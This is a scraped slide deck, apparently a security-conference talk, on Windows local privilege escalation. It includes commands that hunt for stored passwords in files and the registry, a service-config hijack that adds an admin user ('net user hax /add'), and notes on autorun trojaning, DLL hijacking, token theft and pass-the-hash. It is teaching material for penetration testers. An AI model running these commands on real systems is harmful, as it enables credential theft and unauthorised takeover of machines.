|
Slide 10 -
|
Slightly more difficult
c:\sysprep.inf [Clear Text]
c:\sysprep\sysprep.xml [Base64]
BASE64(Credentials)
UABhAHMAcwB3AG8AcgBkADEAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBQAGEAcwBzAHcAbwByAGQA
<![CDATA[false</PlainText>
</AdministratorPassword> P a s s w o r d 1 A d m i n i s t r a t o r P a s s w o r d</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 11</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl10_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">GrepFTW
findstr /si password *.txt | *.xml | *.ini
VNC
vnc.ini, ultravnc.ini
Easily decrypted
Any FTP or other remote access client
Most cached credentials can be decrypted
http://www.nirsoft.net/password_recovery_tools.html More Easy Passwords</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 12</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl11_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">VNC Again
\\HKCU\Software\ORL\WinVNC3\Password
Autologin
HKLM\SOFTWARE\Microsoft\
Windows NT\Currentversion\
Winlogon
Clear text credentials
Shell key
UserInit key Passwords In Registry reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 13</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl12_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">SNMP Parameters
HKLM\SYSTEM\CurrentControlSet\Services\SNMP\
Putty
HKCU\Software\SimonTatham\PuTTY\Sessions
Clear text proxy credentials
Passwords In Registry reg query HKLM /f password /t REG_SZ /s | clip
reg query HKCU /f password /t REG_SZ /s | clip</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 14</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl13_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Windows XP/2003
Always check for GUI apps GUI Attacks</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 15</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl14_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">GUI Attacks</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 16</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl15_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Windows XP/2003
Anything running as SYSTEM with a window
Can be attacked from the command line
Easy Wins
Listview / Treeview
RichTextBox
EditBox
Ruxcon 2004
Shatter Attacks</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 17</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl16_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Stuff like this still works
Directory listing as SYSTEM Shatter Attacks</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 18</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl17_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Stuff like this still works
Directory listing as SYSTEM Shatter Attacks</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 19</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl18_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Default Permissions Directory Permissions C:\>cacls "Program Files"
C:\Program Files BUILTIN\Users:R
BUILTIN\Users:(OI)(CI)(IO) GENERIC_READ
GENERIC_EXECUTE
BUILTIN\Power Users:C
BUILTIN\Power Users:(OI)(CI)(IO)C
BUILTIN\Administrators:F
BUILTIN\Administrators:(OI)(CI)(IO)F
NT AUTHORITY\SYSTEM:F
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)F
BUILTIN\Administrators:F
CREATOR OWNER:(OI)(CI)(IO)F</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 20</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl19_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Incorrect permissions
Directly overwrite the binary When Installers Go Wild C:\Program Files\Symantec\pcAnywhere\awhost32.exe
Everyone:(OI)(CI)F
NT AUTHORITY\SYSTEM:(OI)(CI)F
C:\Program Files\Symantec\pcAnywhere\awrem32.exe
Everyone:(OI)(CI)F
NT AUTHORITY\SYSTEM:(OI)(CI)F
NT AUTHORITY\SYSTEM:(OI)(CI)F</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 21</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl20_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">On newly created directories Default Permissions C:\>ver
Microsoft Windows XP [Version 5.1.2600]
C:\>cacls \testperms
C:\testperms BUILTIN\Administrators:(OI)(CI)F
NT AUTHORITY\SYSTEM:(OI)(CI)F
VMXPSP2\Administrator:F
CREATOR OWNER:(OI)(CI)(IO)F
BUILTIN\Users:(OI)(CI)R
BUILTIN\Users:(CI)(special access:)
FILE_APPEND_DATA
BUILTIN\Users:(CI)(special access:)
FILE_WRITE_DATA</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 22</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl21_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">On newly created directories Default Permissions C:\>ver
Microsoft Windows [Version 6.1.7600]
C:\>cacls \testperms
C:\testperms BUILTIN\Administrators:(ID)F
BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
NT AUTHORITY\SYSTEM:(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 23</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl22_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">On newly created directories Default Permissions C:\testperms>echo testing > test.txt
C:\testperms>dir /q
Directory of C:\testperms
19/11/2011 12:01 p.m. <DIR> hidden\Brett .
19/11/2011 12:01 p.m. <DIR> NTSERVICE\TrustedInsta..
19/11/2011 12:01 p.m. hidden\testuser test.txt
1 File(s) 10 bytes
2 Dir(s) 35,323,899,904 bytes free</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 24</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl23_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Metasploit Bug File Permissions http://blog.metasploit.com/2011/02/metasploit-framework-352-released.html
On February 1st, Eduardo Prado of Secumania notified us of a privilege escalation vulnerability on multi-user Windows installations of the Metasploit Framework.
The problem was due to inherited permissions that allowed an unprivileged user to write files in the Metasploit installation directory.</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 25</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl24_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">File Permissions</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 26</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl25_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">File Permissions</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 27</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl26_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Windows 7
Authenticated Users File Permissions accesschk.exe -qwv \testperms\admin.txt
RW NT AUTHORITY\Authenticated Users
FILE_APPEND_DATA
FILE_EXECUTE
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_WRITE_ATTRIBUTES
FILE_WRITE_DATA
FILE_WRITE_EA
DELETE
SYNCHRONIZE
READ_CONTROL</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 28</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl27_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">AccessChk
Find weak directories
Find weak files
Cacls / ICacls Quick Discovery accesschk.exe -uwdqs users c:\
accesschk.exe -uwdqs “Authenticated Users” c:\ accesschk.exe -uwqs users c:\*.*
accesschk.exe -uwqs “Authenticated Users” c:\*.* cacls "c:\Program Files" /T | findstr Users</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 29</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl28_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Autoruns Enumerate Auto Runs</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 30</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl29_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Autoruns Enumerate Auto Runs</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 31</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl30_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Trojaning Autorun</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 32</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl31_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Trojaning Autorun</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 33</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl32_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Procmon Trojaning Autorun</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 34</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl33_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Trojaning Autorun</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 35</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl34_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">DLL Redirection
Can specify the dll to use
.local / .manifest
Known DLLs cannot be redirected
The common system dlls (KnownDLLs reg key)
Search Path
Path directories with weak permissions
File doesn’t exist in system32 Application DLL Searching</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 36</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl35_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">System tasks
AT – usually runs tasks as system
Scheduled tasks – can run as user
Viewing tasks
c:\windows\tasks
c:\windows\system32\tasks
Commands
AT
schtasks
compmgmt.msc Tasks And Jobs Find a task pointing to an insecure location Stuxnet Task Priv Esc</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 37</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl36_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Orphaned Installs
Missing files in writable locations
C:\hp\services Services</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 38</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl37_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">AccessChk
Find weak permissions
Windows XP SP3
Services accesschk.exe –uwcqv * DcomLaunch
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
READ_CONTROL</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 39</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl38_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Windows XP SP1
Services SSDPSRV
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 40</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl39_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Services Permissions</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 41</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl40_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Service control
sc.exe Services C:\Tools>sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : NT AUTHORITY\LocalService</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 42</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl41_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Service control
sc.exe Services sc config upnphost binpath= “net user hax /add”
sc config upnphost obj= “.\LocalSystem” password=“”
net stop upnphost
net start upnphost</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 43</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl42_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Read and write sensitive keys
NtGdiEnableEudc Exploit (MS11-011)
Service Tracing key (MS10-059) (Read Cesars Work)
Registry symlink vuln (MS10-021)
Processes, Threads, Handles, Pipes, Shared memory
Inject code into unsecured processes
Steal process/thread tokens
Hijack handles for write access
Long pipes are long
AccessChk
Has syntax for checking most of these
Other Permission Issues accesschk.exe /?</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 44</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl43_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">What is impersonation?
The ability of a thread to execute using different a different security token
Requires SeImpersonatePrivilege
ASPNET, IWAM_computername
Local Service, Network Service
Token Reading
Cesar Cerrudo – Token Kidnapping 1/2/3 (Churrasco)
MWR InfoSecurity - Whitepaper
Token Impersonation</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 45</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl44_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">ImpersonateNamedPipe
@stake, Inc.
www.atstake.com
Security Advisory
Advisory Name: Named Pipe Filename Local Privilege Escalation
Release Date: 07/08/2003
Application: Microsoft SQL Server
Platform: Windows NT/2000/XP
Severity: Local privilege escalation</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 46</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl45_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">ImpersonateNamedPipe Process With SeImpersonate
Service Runing As LocalSystem
Named Pipe
Called Mofo YES I AM A CONNECTING ARROW REQUEST TO CONNECT TO PIPE IMPERSONATENAMEDPIPECLIENT()
NOW RUNNING AS LOCALSYSTEM</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 47</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl46_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">Incognito
luke_jennings
Standalone or Metasploit
Finds usable delegation tokens
Impersonate
Snarf anyone's token from running processes
Process Injection
Administrator can hijack any users process Admin -> Domain Account</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 48</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl47_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">WCE
http://www.ampliasecurity.com/research.html
Improved ‘Pass The Hash’
Retrieves hashes from LSASS
Modifies in memory current user hashes
Steal once use many
Grab a domain account hash and travel
Admin -> Domain Account</span>
</td>
</tr>
</table>
<table width="100%" class="table table-hover">
<tr>
<td style="width: 90px; color: #525252" valign="top">
<b>Slide 49</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl48_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">User -> Admin
Can take a bit of time
Weak file permissions are rife
IIS / Network Service -> SYSTEM
Totally doable
Abused functionality rather than vulnerability
Admin -> Domain Account
Is what you want In Summary</span>
</td>
</tr>
</table>
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<td style="width: 90px; color: #525252" valign="top">
<b>Slide 50</b> -
</td>
<td>
<span id="ctl00_ContentPlaceHolder1_rpttans_ctl49_trancontent" style="color: #5D5D5D;font-size: 16px;font-weight: normal;line-height:1.6em">www.insomniasec.com</span>
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